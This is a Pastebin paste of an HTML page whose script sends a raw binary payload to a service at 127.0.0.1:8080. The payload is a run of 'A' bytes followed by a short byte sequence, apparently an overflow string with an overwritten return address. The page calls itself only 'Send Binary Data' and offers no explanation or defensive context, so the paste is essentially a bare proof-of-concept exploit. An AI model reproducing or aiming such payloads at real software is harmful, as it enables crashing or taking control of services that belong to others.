Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html;charset=utf-8" >
- <script>
- function sendBin()
- {
- var req = new XMLHttpRequest();
- var url = "http://127.0.0.1:8080";
- req.open("POST", url, true);
- req.sendAsBinary("\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x12\x0c\x40\x00\x00");
- }
- </script>
- </head>
- <body>
- <h3>Send Binary Data</h3>
- <form name="myfrm" >
- <input type="submit" value="Submit" onclick="sendBin();"s>
- </form>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement